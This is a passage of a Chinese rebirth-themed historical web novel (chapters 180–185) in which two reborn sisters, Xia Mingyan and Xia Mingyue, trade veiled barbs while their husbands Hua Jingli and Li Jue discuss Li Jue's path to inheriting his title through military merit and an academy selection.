华靖离神色一肃,神情比之前郑重了许多:“人走茶凉,还凉得那么快的多是文官,武将不同,他们更重义气和故旧。你没去过军中,你不懂也正常。” 他煞有介事地解释了一下武人扎堆,不像文官都是分散到各地授官的,让李玦相信这家人重回军中之后一定能手拿把掐地迅速掌握局势, “这张家父子虽然自己不在北疆,可门生故旧不少,还都是拿得出手的人物,这些年早就准备重新出山了,只是欠缺一个合适的时机。” “况且我若直接让华家军中的将领带着你立功,这功劳出来了,圣上和兵部知道你我的关系,反而会能看出这当中有水分……就算没有水分,他们也会这么觉得。” “反倒是我们帮你,但如果能让张家父子出面担下举荐你的责任,你得的功劳和赏赐反而更有分量。” 帮忙的人主要还是华靖离请来帮忙的,只是让张家父子出面而已,这样将来论功行赏,这也就不算是任人唯亲了。这样做,对华家也好。 李玦如梦初醒,这样对他说闲话的人也就少了:“多谢华兄指点,我回去之后就让人备下重礼。在擢选前,无论如何都要请他们父子出山。” 二人相谈甚欢,华靖离未受伤之前就准备归家,给各个有来往的府邸都是备了北疆的礼的。 这都一个多月了,这些礼也都陆续运了来,华靖离让葱白抬了一些过来,让李玦亲自选了,见时辰差不多了,便带着李玦去前头用饭。 第180章每个人都有变化 华靖离和夏明嫣住在钩翊侯府住的是东院儿,名为止戈园,虽然华靖离长年不在府中,这园子也修得很是精致。看得出来,即便他不在府中,这园子一直有人在精心打理。 李玦一直觉得他跟华靖离有一点是同病相怜的,就是他们两个都是两个侯府实际意义上的主人,可是都没有住进正院儿,两边侯府的正院儿都是由父母长辈住着的。 可如今看来,他自己和夏明月住的院子比起这止戈园来着实潦草了太多,不是因为自己和母亲何夫人不用心,而是端侯府这几年的光景一年不如一年,端侯府能维持外面的光鲜已属不易,府里的华丽、精致早已无力维持。 更何况华靖离之所以没有住进那正院,是因为他从前长年不在北疆,便觉得没有折腾的必要,才没有搬进去的,其实华叶峰和董氏早就提出过要把正院儿让出来给他,他没答应而已。 而他呢,其实他心里清楚,即便将来他袭了爵,他的母亲也不会让出正院,仍然会以种种借口拖延。而他呢,他是母亲一个人拉扯着长大的,如何能违背她的意愿? 他不是不想孝顺他的母亲,只是他渴望成长,渴望独当一面,渴望成为真正的端侯和李家军真正的主人。 父辈干下的那些事别人以为他不知道,其实很多细节他可能知道的比何夫人还清楚,人为财死,他的祖父、父亲戎马半生,只是借了元京府库里的银子去做了一次海贸,有什么错? 只不过是运气不好,遇上了海难而已,虽然导致的结果换了别人家也许就是满门皆灭,可那也不是他们故意的。他当时还小,当今圣上凭什么迁怒于他! 华靖离明明曾经与他一样处境艰难,可凭什么华靖离去了北疆之后打了几次仗就立下战功,还让钩翊侯府彻底的翻了身?他也不想当一个文弱的书生,他明明也可以沙场立功,凭什么谁都不给他这样的机会? 还有他的母亲何夫人,没错,她一个人将他拉扯长大异常艰难,可是那是没有办法的事,难道没有他,自己的夫君干下了那样的事,她的日子就容易了吗? 现在他长大了,马上就要袭爵了,为什么她还是不肯放手,还要掌控他,还要让他回报那些早就没什么用处了的李家和何家的宗亲,那些个破落户,还让他们住在府中? 人人都说他文采好,可以走科举入仕的路,可以去参加御青书院的擢选,可他心里清楚,这里面大部分人都只是在哄着他、恭维他,其实他们心里都不相信他有那样的能耐。 他也的确没有那样的能耐,可是这能怪他吗?跟他同样出身的名门公子,哪个不是自小延请名师教习,而他只能跟着那些武勋人家的子弟附学,这让他如何争得过那些士子? 凭什么他从小过着这样的日子,承受着所有的打压和父辈的错误,还要求他跟别人一样? 他的学识不够,到了这个年纪了连军功的边儿都没沾上,他能不急吗? 他使什么手段都是正常的,只要他袭了爵,重建了李家军,这些人就会发现只要他跟他们在同样的高度上,他们就会发现他不比他们差! 李玦面上云淡风轻,心里愤恨难平,一路上看着东院的景致回想着刚刚跟华靖离说的那些话,他其实能感觉到华靖离哪里有些不同了,可他又说不好这种变化究竟在哪里,又有哪里不对。 华靖离从前也常鼓励他,但对他绝对没有像刚才那样极力褒奖和鼓励过,似乎很笃定他能在擢选中表现不俗还能随意退出似的。 不过也说不好,华靖离娶了夏明嫣之后,一定能得到楚家的消息,也有可能是他知道了这背后有楚家在帮他吧。 可是也还不对,李玦是个异常敏感的人,他好像觉得华靖离伤好之后哪里不一样了,似乎比从前跟他的距离更远了。 不过也许是历经生死之后人都会有些变化吧,华靖离之前也曾多次历经生死,可是这一次最为严重,应该是不一样了。 而且既然华靖离只是表面看起来康复了,实际上一身的暗伤,也不知道还能活多少年,那他的心里就是虚的,或许面对他时的不同寻常,就来自这里,也是正常的…… 这边华靖离和李玦一番恳谈,那边夏明嫣正在应对夏明月的种种试探,她也明显感觉到了夏明月的变化。 有了何雨萍进门这件事,夏明月被端侯府和夏家联手隐瞒了一回,应该是让她意识到了在事关两家的大事和一些在其他人眼中无关大局的小事上,她也是可以被牺牲掉的。 现在的夏明月不得不让夏明嫣心生警惕,因为从前的夏明月把狠辣放在表面上,不知遮掩,不愿也没有必要遮掩锋芒。 现在的夏明月学会隐藏了,对着她面上也客气了许多,可是这不叫客气有礼,这叫绵里藏针。 不过,夏明嫣也是重生的,她太清楚夏明月是怎么想的了。 夏明月一直把上一世经历的所有都归咎于华靖离重伤之时华家没有抗旨拒婚而是奉旨娶了她,之后让她守了活寡。 要不是让她守了活寡,她就不会先在空虚寂寞时跟孙允斌有了苟且,也就不会被关进家庙。明明这一切都是他们导致的,他们怕自己没脸还想劝她和离改嫁。 呵,和离?当时李玦虽然已经袭了爵,可是那时候为了重建李家军得罪了许多人,前途未卜。 而且李玦有那么几年似乎对夏明月没什么兴趣了,他在内宅的心思被他的妻妾分得差不多了,确切的说他并没有放多少心思在内宅,他满心满眼都被权势占据了。 夏明月那会儿就意识到她如果和离了,即便多了一份华家的陪嫁之后再嫁,也不可能再成了谁家的侯夫人,如何肯和离改嫁? 她就把这一切都归咎到了华家心不诚上,反正她情难自控都不是她的错,她见哪边有好处就往哪边嫁,也不是她的错,谁让那时候李玦连个爵位都没有呢? 第181章劳碌命,就活该 夏明月从不会想如果她对李玦的真情不可动摇,当年就不会贪图爵位而在一开始跟华靖离定了亲。 之后夏明月也是想过换亲的,还设计了沈小娘那件事来陷害、要挟,可是为时已晚,就在那几天华靖离重伤回府,赐婚的圣旨没几个时辰就到了。 夏明月不会反省她总是觉得所有的幸运都会站在她这一边有多么的可笑,不会想华家不肯抗旨,她自己和夏家也一样不敢抗旨,这件事谁都有责任…… 她只会把一切都归咎在是华家不该点头接旨,是她夏明嫣不该坚持着不点头换婚,是李玦不该见她深陷家庙而没有立刻和她旧情复燃上……反正都不是她的错。 夏明嫣看着眼前依旧觉得自己一点儿错没有只是学会了隐藏的夏明月,啜了口茶才开口: “茶……二妹妹不尝一尝吗?这是侯爷从北疆带回来的,涩了些,不过也独有一番风味。我这一个多月熬的,嘴都苦了,喝这个正好清一清口。” 夏明月不屑地看了一眼,这东西她上辈子见的多了,看见就烦 “这北疆挨着彭州,原就是苦寒之地,没什么好东西。可是祁笛不同,那可是个富贵锦绣窝,听说他们那儿好些东西都是从西边抢来的。” “姐夫在那边那么多年,就没有给家里折腾点儿好的,还喝这种茶。不过也是了,伤得那么重,闭门养伤,想必长姐也服侍得很辛苦吧?” 夏明嫣苦笑了一下,神情上半点看不出对华靖离康复的欣喜:“辛苦这不是应该的么?不过最近我有时候会想,当初二妹妹提出换亲,可真是及时啊,到赐婚的圣旨下来,不过差了几个时辰。” “要是我晚答应一点,母亲晚上大半日去两家换亲,嫁到这儿来照料伤患的恐怕就要变成二妹妹你了。不知看到我这般光景,你作何感想?” 这个问题,夏明月早就想过很多次了,她还亲身经历过,被这么一问,她想都不用想就道: “这啊,什么人什么命,要我说长姐你就是个劳心劳力的命。就算嫁过来的是我,我也犯不着做这种服侍人的活儿。不是我娇气,是我这个人什么都不会,不像你,至少会点儿医术。” “虽然你从小也没好好学过,但即使只是懂一点儿皮毛,你服侍一个伤患怎么也比我在行。毕竟你懂这么多,不用你服侍,还能用谁呢?” “我不像你,从来不用做这些,换成是我,大不了我让巧兰去服侍他啊。长姐,这一个多月,你该不会事事亲力亲为吧?” “亲力亲为……也是好的,只要姐夫能好起来,你做什么都值得,那么姐夫可痊愈了?” 夏明月笃定了华靖离好不了,上一世华家也是遍请名医,也不过是将华靖离的命保住了,实际上他的身子就是个空壳子,经不起半点折腾。 后来是养了近十年才去了南疆讨伐常王叛乱的,就算如此,她也从华靖离的饮食和服侍的人那儿找到了蛛丝马迹,知道他是忍着极大的痛楚去的南疆。 在南疆,不是在马上奔走就是在船上颠簸,光是忍受这些暗疾和伤痛就得要了命,这人的命还能长吗? 夏明嫣就是个劳碌命,她以为她辛苦一场,又能怎样?她什么都改变不了,到最后还是得守活寡。 不过这已经比上辈子好了,夏明嫣上辈子为了李玦筹谋半生,亲手把他送上端王之位,最后又怎样?李玦还不是不要她,还要了她的命。 两辈子了,她夏明月永远是命最好的那一个。 她来之前就打听过了,可能是因为夏明嫣托了杨家的关系多找了几位名医,华靖离的情况可能比上一世好一些,但一定还是不可能扭转大局的。 华靖离是华家的顶梁柱,他的身体状况是瞒着的,知道真相的除了那几个医者,就只有华叶峰和董氏了。 上辈子她就被瞒着,到了后面才知道,要是她早知道华靖离随时都可能因为旧伤复发丢了性命,她早就答应和离改嫁了。 她也不该告诉夏明嫣这些的,最后让夏明嫣以为华靖离完全好了,等到他旧伤复发的时候再说。越是觉得有希望了,后面绝望的时候,才更痛苦。 夏明月笑着叹了口气,“瞧着你没哭天抹泪的,姐夫应该是好多了吧?这是好事儿,不过姐夫的脸……听说那样的疤痕可不容易祛除,可怜长姐你也是这元京出了名的美人儿,姐夫这副样子,会不会觉得可惜了?” “还是说真如你出嫁前所说,你仰慕姐夫的英雄气概,所以可以为他做任何事,包括没有自己的喜怒哀乐、七情六欲?” “人这一辈子活得跟个泥捏的人儿似的有什么意思?将来会不会后悔荒废了大好年华?” “这……二妹妹,我在卢阳时是二叔和婶婶照顾我长大的,毕竟是亲戚家的孩子,出一点事都是大事,所以看顾我时要更加严格些。” “我在闺中时是没有机会与谁青梅竹马、情意相投的,自然无法体会你说的这种感觉。不过我对我的夫君很满意,至少他不需要我三天两头的回娘家说这说那的。” 夏明嫣笑了笑,像是气不过,反过来就要挖苦夏明月一样,“我劝妹妹要是真想对的起这份情意,除了求着母亲和你的舅舅们,自己也该做点儿什么。” “你是个尊贵的,外面的事儿你不方便出面,那就把内宅管束起来,上能孝顺婆母,下么,那两房亲戚还是要和睦些的,别哪天得罪了,亲戚都闹开了不好看。” 之前夏明嫣托了白玉凤和栗羡鱼回去给两家带话,愿意提供足够的帮助,帮他们打通通往南疆的商路,二人回去之后跟家里人商量了一下,两家暂时没有回应。 这也是人之常情,毕竟李玦在夏、楚两家的帮助下,袭爵已经指日可待了,他们想要看看事态的发展如何,也是人之常情。 夏明嫣也不急,知道消息之后一句没劝,一句没催。 第182章难得低声下气 这是件大事,总要人家自己做决定的,而且不管那两家如何决定,夏明嫣都跟华靖离商量好了,先由华家暗中的人手去沿路那些寨子活动,之后他们自己也会派人去开拓商路。 蛊医的药材和活蛊的原胚时常生长在南边偏远潮湿之地,因此杨家族人常去这些地方或附近走动,这回也发动了一些前去探路。 正好,若是蛊医无法在元京正名,索性就往南边儿发展。将来南疆平定之后,沿路所到之处会建造新的城池,长远来看,繁荣程度不会比北边的几座大城和州府差。 等到他们做的初见眉目了,那两家看着好了,也感受到了李玦终归是靠不住的,自然会跟着他们走,等到那时,不用逼,也能把端侯府给架空了。 反正夏明嫣把话都说到了,到时候发现这两家其实跟他们有关联,李玦和夏明月也不好说什么,只能吃个哑巴亏。 夏明月才不管家里住的那些人呢,那些人上辈子也翻出什么风浪,不过是在那时的夏明嫣手里得了一点好处,这种人根本不足为惧。 麻烦的从始至终只有何夫人,只是她这婆母精明得很,很难被算计,她早就先把那两家赶出去了,她才不会像夏明嫣那样没出息地忍大半辈子呢。 夏明月的重点并不在这儿,她莞尔一笑,一开口便用的是取笑的语气: “我婆母这人有子万事足,只要我夫君在她身边,能够袭爵,还前程大好,她没什么好不高兴的。她是不大喜欢我,可是只要我能帮上我夫君,他也不会为难我,最多就是聒噪了一点。” “那两房人么,不过都是破落户,指着我们过日子的,没听说过主人还要看借住讨食的穷亲戚脸色的。长姐你这么关注他们两家,是不是因为刚回元京,没有熟识的人呢?” “要是你想认识更多的人,等到御青书院的擢选之后,我夫君袭了爵之后,我也会办一场筵席,到时候再为长姐介绍啊。” 这是笃定了擢选之后,李玦就能袭爵了啊。 夏明嫣不动声色地试探道:“二妹妹说的是,我在元京人生地不熟的,就是家里的事也不大清楚,之前也没听父亲、母亲说世子妹夫要参加擢选啊。” “上回去端侯府送帖子,更是听说世子肯参加擢选,是你一力主张的?你驭夫有道,的确令人羡慕,可是世子之前没有准备,反而为此放弃了去北疆历练的机会,真的合适么?” 夏明月脸色微变,上一世李玦根本没有参选过,但她记得上一世有一位爵位降等后没了的旧侯府公子,就是通过御青书院最终复爵的。 她提前找到了那人,用了些小手段将那人困在了哲州的城府衙门的大牢里,少说两三年才能出来,并且夺了那人关于旧勋贵和新贵势力交替的文章,说是夏家幕僚写的,让李玦改了改,给御青书院的山长送了去。 这才直接让李玦得到了初选的名额,要不是她筹谋得当,这个机会可就错过了。 夏明月之所以这么安排,是因为上一世后来她发了一件事,那会儿李玦袭爵靠着的那件军功,是夏明嫣找上的人帮忙立下的。 以她对李玦的了解,确切的说那件军功很可能就是人家立下的,然后李玦用了些手段才记到他自己名下的。 夏明月当然明白,想要袭爵,还是军功更稳妥,可是她上一世发现知道这件事的时候只是草草地听了就算了,压根儿没打听夏明嫣找上的人是谁。 这一世她是出嫁之后才想起这件事的,那时候她还没想明白,一点儿都不肯跟夏明嫣低头,而且她也不确定上一世夏明嫣是因为嫁给了李玦才想方设法地结实了这个人,还是之前就认识这个人。 要是前者,这一世夏明嫣几乎跟李玦毫无瓜葛,很可能也不认识这个人呢。 只是昨日,她的大舅父回了元京,她回楚家看望,听她大舅父说,这次御青书院的擢选恐怕没有往届受人关注,这大概也是因为之前他们暗地里出手太狠了,把几个好苗子都排除掉了。 擢选的结果当然重要,可是圣上如何看待选上来的这些个人更重要,如果圣上觉得这次选出来的人并不是太和心意,恐怕猜测到背后的原因,李玦选中了也未必就能得到圣上的青眼。 还建议她,原先定的去北疆历练的路不要断了,有双重的保障总比 楚家这两位舅父以往忙的都是朝堂上的大事儿,根本没有关注过这种书院的擢选,头一次上手用力过猛也是正常的。 夏明月不好责怪自己的舅父,只能想法子找补,万一圣上真的不是很在乎擢选的结果,还是得想法子走上一世的老路才行。 夏明月想着来之前告诫自己的那些话,忍气吞声、和声细气地开口问道: “谁说放弃了去北疆?没有,从来都没有,这是个误会。这书院也不知道能不能选的上呢,就算选上了,也可以告了假,先去北疆啊。” “御青书院多的是文武全才,是不会拦着自己的弟子报效朝廷的。不过……夫君只是多年前去过一次北疆,这么多年都没有去过,冒然前去,我担心他会不适应。” “卢阳靠北,在去北疆的路上,你在那边有没有认识什么人,能帮上他的最好了。要是他在那边能站得住脚,我和整个端侯府,哦,还有父亲、母亲,都是要谢你的。” 夏明月破天荒的和颜悦色甚至可以说是低声下气,让夏明嫣整个人都不好了,她这会儿都有点怀念夏明月凶巴巴地命令她的样子了。 夏明月这样不是有事相求才怪呢,这是想起上一世李玦的军功是怎么立的了。 夏明月不知道她也重生了,所以不确定她这一世知不知道张家父子,所以才一直没有问她吧? 夏明嫣的嘴角忍不住露出一抹微笑,她想到自己跟华靖离,她之前也不知道华靖离是重生了的,他们竟然还能配合默契。 第183章她不管,就是坏? 之前的那一个月里,夏明嫣还在给华靖离治伤的时候就带话给了乔依心帮忙打听了几家的情况,其中就包括张家。 张家还跟前世时差不多,女儿重病缠身,眼看着就剩下最后一口气了,张老将军旧伤未愈,在家里将养的同时教习族中子侄武艺,这张少将军因为之前在军中受的挫折,郁郁不得志,跟张老将军商量之后,决定带着妹妹一起寻一个隐世的道观一同归隐。 这时候的道观有一种是医观,观里的道士因为研究丹术而医术也有独到之处,张大姑娘这病寻常医士治不好,他们便寻思着寻一个道医或许就好了。 就算还是不行,在那山清水秀的地方将养着也好,说不定还能多熬上几年。 像张家这种过去被一些旧事牵连、得罪了元京上官的,他日想要起复,也多是要去其他地方重新开始的。 借着这个机会离开,彻底淡出某些人的视野,过些年之后他们虽然也知道自家希望依旧渺茫,但至少日子不必过得那般紧绷。 大不了再到南方或是西南重新投个军户,做个普通军士也就罢了。他们这样被伤了心的寻常武勋人家,落得这样的结局也是常事。 夏明嫣这两日已经按照前世张大姑娘的病情配了药过去,能够缓解张大姑娘的病情,她担心这一世具体情况有变,原本就打算着这半个月里亲自登门问诊,帮张家解决后顾之忧,让他们这一世不至于被人掣肘。 不过这些夏明嫣就不会对夏明月说了,上辈子她肯去钻营这段关系,是因为她是李玦的贵妾,那时候她要是不拿出点真东西来帮李玦袭爵,何夫人就成日地折腾她,有几回都丢了半条命。 她那是为了保命,已经上了贼船了,下不去了,不得已之下只能跟着拼命地划。 这辈子她可跟李玦和端侯府都没关系了,她凭什么把这样的人脉和人情拿出去? 而且要用张家,还要给张大姑娘治病,还要跟张家父子交心肯谈,还要送上杨家的历代医者采药时积累下的山河水文志给张家做家底儿……这些都是要付出的。 难道就因为夏明月叫她一声长姐,夏庸和楚氏再从指缝里漏出那么几丝“疼惜”,就让她心甘情愿地付出了? 门儿都没有,而且夏明月又不知道她也重生了,她的人生轨迹是从卢阳老宅到侯府后宅,她本来就不该认识张家人! 夏明嫣立刻露出惊讶的表情:“二妹妹这话好生奇怪,我原本就是一个没见过世面的闺中女儿家,才做了一个多月的侯夫人,还一直在照料夫君养伤,如何就能有那样的人脉?” “如今你要问我元京和这附近的名医、药铺有哪些,我还更清楚些,你问我北疆的人脉,还是军中的,我上哪儿知道去?” “不能说卢阳靠北边就说我认识北疆的人,这离得可还远着呢。你是想问我侯爷这儿有什么人脉吧?不好意思直接问,就问我知不知道。” “侯爷自然认识许多这样的人,可是他也犯不着告诉我啊。就算偶然提起,也不会跟我说这些人跟你们端侯府究竟是什么样的关系。万一这里面有我不知道的事儿,反而害了世子妹夫,耽误了他的大事。你这脾气,岂不是要找我拼命?” 夏明嫣让自己表现得就像一个见识短浅的内宅妇人,半点不敢过问自己丈夫外面的事。 夏明月也是一愣,这么说倒也说得通,可是也不对啊:“长姐,话不能这么说,你又不是那等内宅小妇,为何不能过问自己夫君的事?” “更何况只不过是多留心一点消息,又是为自己妹妹、妹夫打听的,又不是让你去干涉什么,怎么就不行?” “就算是那等妾室,只要是得脸的,又怎会就真的不过问了,不过是装着守规矩、不过问罢了。你……我是说我们府上的何小娘,也都在想法子给夫君出力。” “不管我们姐妹间从前关系如何,在外人面前,我们都是夏家出来的姑娘。你明知道我的夫君、你的妹夫一直想去北疆谋个差事,你却连帮他问一句、留心一下都不肯,我回去就告诉父亲、母亲。” 夏明月嘴里嘀嘀咕咕的,说什么楚氏有多疼爱她,怎样将她视为己出,又给她贴补了多少嫁妆,说的好像她今日不说出个所以然来,就是她夏明嫣多忘恩负义似的。 有一件事夏明嫣真心佩服夏明月,就是夏明月什么时候都能把有好处的事儿划拉到她自己那边去。 就好比嫁妆多给了这件事,这的确是事实,杨氏早逝,杨氏自己的嫁妆早年消耗过多,传到夏明嫣这儿早就没多少了。 这倒不是楚氏动了什么手脚,这些嫁妆是贴了夏家了,夏家是寒门,夏庸早年应酬交际、打点官声大部分都是杨氏贴补的,可夏家庶务真正好起来是在楚氏进门之后,这倒不好把从前夏庸用的那部分补回去了。 家里公中和朱老太太给的嫁妆都是一样的,之后算上生母这儿承继下来的嫁妆就有了差距,为此楚氏倒还真的给夏明嫣补了一份儿。 前世的时候,夏明嫣被逼做了贵妾,嫁妆上不仅没有添补,连公中的那一份都没有了,只带着杨氏嫁妆所剩不多的那点儿出嫁,后来朱老太太和杨家是隔了几年,找了个何夫人看得不严的时候把各自给她准备的嫁妆折成了现银补给她的。 这一世楚氏肯补给她,是因为她主动答应了跟夏明月换嫁,而给她炮制的污名还没来得及散出去就消散了,她又是奉旨冲喜,一嫁过去就是正经的侯夫人,嫁妆寒酸了不好看,这才自己贴上了一份儿。 现在这话到了夏明月嘴里,倒成了楚氏疼她,才主动补给她的。 不过夏明月现在这副嘴脸也着实可笑,她把何雨萍都搬出来了,借着妾室也能理事,恨不得就要明着说夏明嫣前世也是以妾室的身份管了外面的事了。 第184章到底谁色令智昏? 夏明嫣这会儿特别欣赏夏明月表面装作没什么,内里抓心挠肝的样子,她不就是想说“你前世不就管了了吗?你是怎么知道那些的”么? 夏明嫣继续跟她装傻:“就算我要管这些事儿,也是管我自家的事儿,怎么也管不到妹夫府里头。你让我管了这件,那其他的我要不要管?” “谁都不想别人插手自家的事儿,我可不招这个嫌。别说我一个妇道人家,道理盯着这些外男瞧谁家是可用的,谁家是不能结交的。” “以后这种事儿都不要找我,我这样的人,要不是被逼急了,到了不去做就活不下去的地步,是断断不会做这种事儿的。” “二妹妹你自幼在母亲身边长大,难道母亲没有教过你内外有别,不要插手男人们的这些事儿吗?你怎么变成这副样子了?就因为你心仪妹夫?” “你啊,这是因为动了情,就失了理智了,有个词叫色令智昏,说的就是你!” 夏明嫣这副义正言辞的样子,恨不能把女诫绣在衣裙上,她就是要彻底绝了夏明月对她的指望。 端侯府和李玦都是绣花枕头,外表光鲜,看着好,尤其招年轻姑娘喜欢。 外面的人也不清楚老端侯的那些事儿具体是怎样的,虽然李玦没有袭爵,可他还是世子,事情过去快二十年了,圣上并没有继续降罪于端侯府,这就说明事情也没有原本想象中的严重。 甚至有人开始想,或许当初老端侯并没有犯下什么大错,只是惹恼了圣上,圣上雷霆震怒才未允许老端侯的子孙袭爵,这件事早晚会过去。 就算这件事一直没有过去,李玦一辈子都是一个空头世子也没什么,侯府总是有些积攒的,过富贵的日子还是不愁的,而且李玦还可以考功名、入军中效力,总之是有出路的。 要是谁能嫁给李玦,日子还是要比那些寒门出身的大人要强些的,何况李玦是俊朗、年貌相当的才子郎君,不比那些年纪大些还其貌不扬的士子、大人强吗? 李玦这样的人是很有欺骗性的,要是没有父母规劝、家族约束,能哄得很多女子为他付出一切而且前仆后继。 只有等到她们真正成为李玦的妻妾之后才会渐渐发现真相,发现什么样的偏偏君子都比不上她们掏空自己家底和付出一切的痛楚。 关键是李玦这个人也不是什么翩翩君子,他其实是一个视所有人的付出为理所当然的伪君子,连真小人的身份他都不配得到。 夏明月就是众多被他迷了心窍的女子中的一个,只不过她嫁妆厚,还有娘家、外祖家做靠山,让她暂时还熬得住,没有普通女子感受得那么强烈罢了。 夏明月现在仅仅是想打探一个消息,以后当她在端侯府过得越来越不平顺,李玦和何夫人对她的要求越来越高的时候,她才会感受到这些,而她因为已经没办法“下船”了,她的需求还是越来越多了。 如果夏明嫣这时候不把事情做绝、话说死,以后夏明月还是会来不断地向她索取,找她麻烦。 因为夏明月会发现许多事情不是那么好解决的,最快、付出代价最小的法子就是问前世解决了这些问题的人。 夏明嫣实在不想成为他们两口子的记忆、策略钱庄了,而且她现在是华靖离的妻子,单反她说出一点来,都是在帮助她和华靖离的敌人! 夏明嫣就是要绝了这个口子,就算把她当作无知妇孺,她也要这么做! 夏明月也火了,下意识地就开始解释:“我才不是什么色令智昏呢,我夫君是有前途的,要不是如此,父亲和我的外祖父、舅父是不会答应帮他在圣上面前说好话的。” “你不懂,你就是不懂,人要先有价值,才值得被扶持!我们的这些付出,都是会得到回报的!就是问你几句话,你不知道就算了,你这个样子,等到华侯的身子再出了问题,以后可千万别求到我们门上!” “你这副样子就像一个乡下来的无知妇人,连何小娘都不如。你这个样子,在华家也没有出路,早晚都得把自己憋死!” 夏明月就不明白了,前世的时候夏明嫣明明很积极地为李玦筹谋,简直就是一直在替她做嫁衣这一世怎么就什么都不知道还漠不关心了? 她倒不是觉得夏明嫣这辈子还会关心李玦,她是想着上辈子夏明嫣出嫁后没多久就找到了那条路子,不像是成婚后才找到的,夏明嫣一定是一直都知道的。 可是看夏明嫣态度如此坚决,难道前世的这个时候她也是不知道的,那她是通过什么途径找到那条路子了的? 夏明月又开始疑惑了,可是夏明嫣能有什么途径,那些个能想到的路子,她都有,而且绝对比夏明嫣的路子来得稳妥,难不成那条捷径是通过杨家得到的? 她越想越迷糊,不知道问题到底出在了哪里, 夏明嫣揪住夏明月一个言语破绽就穷追猛打:“我当是为了什么呢,原来就是为了一个何小娘,你该不会嫉妒到要疯了吧?” “端侯府和父亲、母亲一起瞒着你,就是担心你嫉妒成疯、闹得太不体面,他们的担心果然没有错,你越是这样,以后他们越是不肯告诉你。” “你该不会是看着何小娘能干,担心她能帮上妹夫,显得你没脸了,你就着急了吧?她能不能干的,管的也都是何家的生意。” “我劝你一句,事已至此,你还是忍忍吧,别事情做绝了,反倒是把妹夫逼到那边去了。夫妻失和,你可就得不偿失了!” 她冷笑了一下,像是听了一个笑话,“说我要憋死在这儿,你在胡说什么?我行得正、坐得直,婆母还夸我贤惠。真是怪了,容不下妾室的又不是我,被人说闲话的也不是我,怎么就成了我要憋死在这儿了。” “妾室……夏明嫣你还真要给姐夫纳妾啊?笑死我了,你这是守活寡不算,还打算在瞎子房里点上几支蜡烛摆着?你才是色令智昏吧!” 夏明月像是听到了一个天大的笑话,竟然在华家直接说出这种话,还大笑了几声。 第185章夏明月不愿意承认 夏明月笑得腰都要弯下了:“长姐大好年华,居然要守着一个毁了容的男人过一辈子,甘之如饴还要给他纳妾,朝廷真该给你立一座牌坊!” 在夏明月的记忆里,上辈子她进了华家的门,一开始就根本没见到华靖离的面,他一直都在养伤,都过了一年多了还在养。 后来听说是治好了,华靖离终于出了静心居,她却发现他的脸没有好,只能用半张面具遮住那可怖的疤痕。 这还不算,华家人定是看她不肯亲近华靖离,就都冷了脸。 董氏直接给儿子纳了几个良妾回来,华叶峰更是放了话出来,说是如果华靖离没有子嗣,就让华靖和的儿子做侯府的继人。 这个华靖和也很可恶,居然当真开始准备给华家开枝散叶了……这些人全都在针对她,整个华家就没有一个好人,他们都看不惯她过几天舒服日子,还要让一个庶子的儿子继承这侯府! 华靖离那般毁了容貌,还性情古板、不苟言笑连句软和话都不会说的男人,她就不信夏明嫣能甘之如饴地跟他过一辈子! 而且整个华家的氛围在她极其不好,那些个进了门儿的妾室,一样没得了好去,十几年来更是连个蛋都没下。 这些个女人进了府之后没有得到她们预期中所能得到的,日子久了,也生了怨怼。她们不去针对纳她们进府的董氏,偏偏来针对她,简直太可恶了。 她去找董氏处置这些个不要脸的女人,董氏居然直接劝她跟华靖离再嫁,还拿多陪送一份嫁妆挖苦、羞辱她。 见她没答应,董氏居然又说可以给她几家铺子经营,打发时光,这是把她当成了那等市侩、满身铜臭气的商妇了吗? 要不是这样,她怎能在遇见那个书生孙允斌的时候那么快就坠入了深渊,那是因为她太需要温暖了,也太需要理解了! 这能怪她吗?不能,华家人个个都有罪,都是把她推向万劫不复的深渊的刽子手! 她就不信夏明嫣能跟华靖离过得好,更不相信他们能够一条心! 夏明月瞪视着夏明嫣,没想到她想要看到的心虚之后不得不承认的神情并没有出现,反而听到身后不远处的廊子里传来一道陌生而又有那么一点熟悉的声音。 “不知姨妹对我有何仇怨竟然如此盼着我跟你的亲姐姐不好!我记得从前并未见过姨妹,敢问一句,我可曾得罪过你?” 华靖离和李玦一起穿过游廊走了过来,华靖离一身赭色衣衫衬得他整个人身形挺立,因着他刚刚好起来,身上还残留着一丝伤病初愈的气息,让他身上的锋锐得已暂时藏住了几分锋芒,让他整个看起来都柔和了一些。 脸上的伤疤在夏明嫣的妙手调养下已经完全看不出痕迹了,而且因为之前是整张脸一起养的,让他原本经历了多年沙场风沙的脸看起来白皙了一些,正好调和了他的肤色,让他整个人看起来多了几丝文气和睿智。 其实华靖离原本就不是一个纯粹的武夫,他的文采、学识虽到不了登堂入殿的地步,但就之前在书院就读时的水平来看,并不比李玦差。 只是因为他更擅长策论、谋略、兵法而不擅长诗文,他在这方面的能力和名声没有被传扬出去罢了。 再加上他常年在北疆,磨砺出了一身冷冽的杀伐之气,他那些斯文之气就彻底地被掩盖了下来。 而夏明月从来没有靠自己了解过华靖离这个人,董氏他们也不大懂读书上的事儿,说起华靖离自然就谦虚地说几句他读书不过就是为了看得懂兵书,不如李玦那样腹有诗书,夏明月便以为华靖离就是那样的一个人。 而且夏明月可以确定这一世华靖离现在的情况要比上一世好太多了,这说他完全好了都有人信。 那时候的华靖离因为知道自己的身子是再也好不了了,心中郁结,连带着身上都带了几分阴郁之气,整个人看起来都阴沉沉的。就是平时跟他说几句话,他的目光回视着轻扫过去,就能把人压得抬不起头。 可是现在的华靖离目光清澈,映着灿烂的日头竟然熠熠生辉,看人的时候非但不显得阴鸷,反而让人从中看出了希望和一丝丝淡淡的喜悦。 当然,那份阴鸷还是在她夏明月身上停留了一下子的,只是很快地掠过了她,之后落在夏明嫣身上时那双眼睛里的东西分明已经变成了温暖的笑意。 在这一刻,夏明月很不想承认,李玦跟华靖离比起来,缺少了许多怎么填补都补不回来的沉淀和气场,这让李玦看起来有点像一个小白脸…… 甚至就连李玦平心而论挺拔、颀长的身姿,跟华靖离的一笔都显得弱不禁风起来,就好像华靖离再好一些、再多提上几口气只要稍一用力就能把李玦像小鸡仔儿一样拎起来再扔出去似的。 夏明月睁大了眼睛,不敢相信自己怎么会有这样的感觉,她甚至开始怀疑自己的记忆是不是错乱了。 她一时间竟然分不清楚,究竟是这一世华家请到了医术更高明的医者,让华靖离的伤愈程度比前世高了,还是说李玦和华靖离这两个人不能站在一块儿对比。 上一世的夏明月多数时间都在家庙里度过,如今想来她还真没看到过这两个人站在一起的样子。 细细算起来,那时的李玦更多的活在她的记忆里,记忆这种东西,越是得不到的越是美好,甚至它还会自动提纯,把那些不好的全都滤掉隐藏起来。 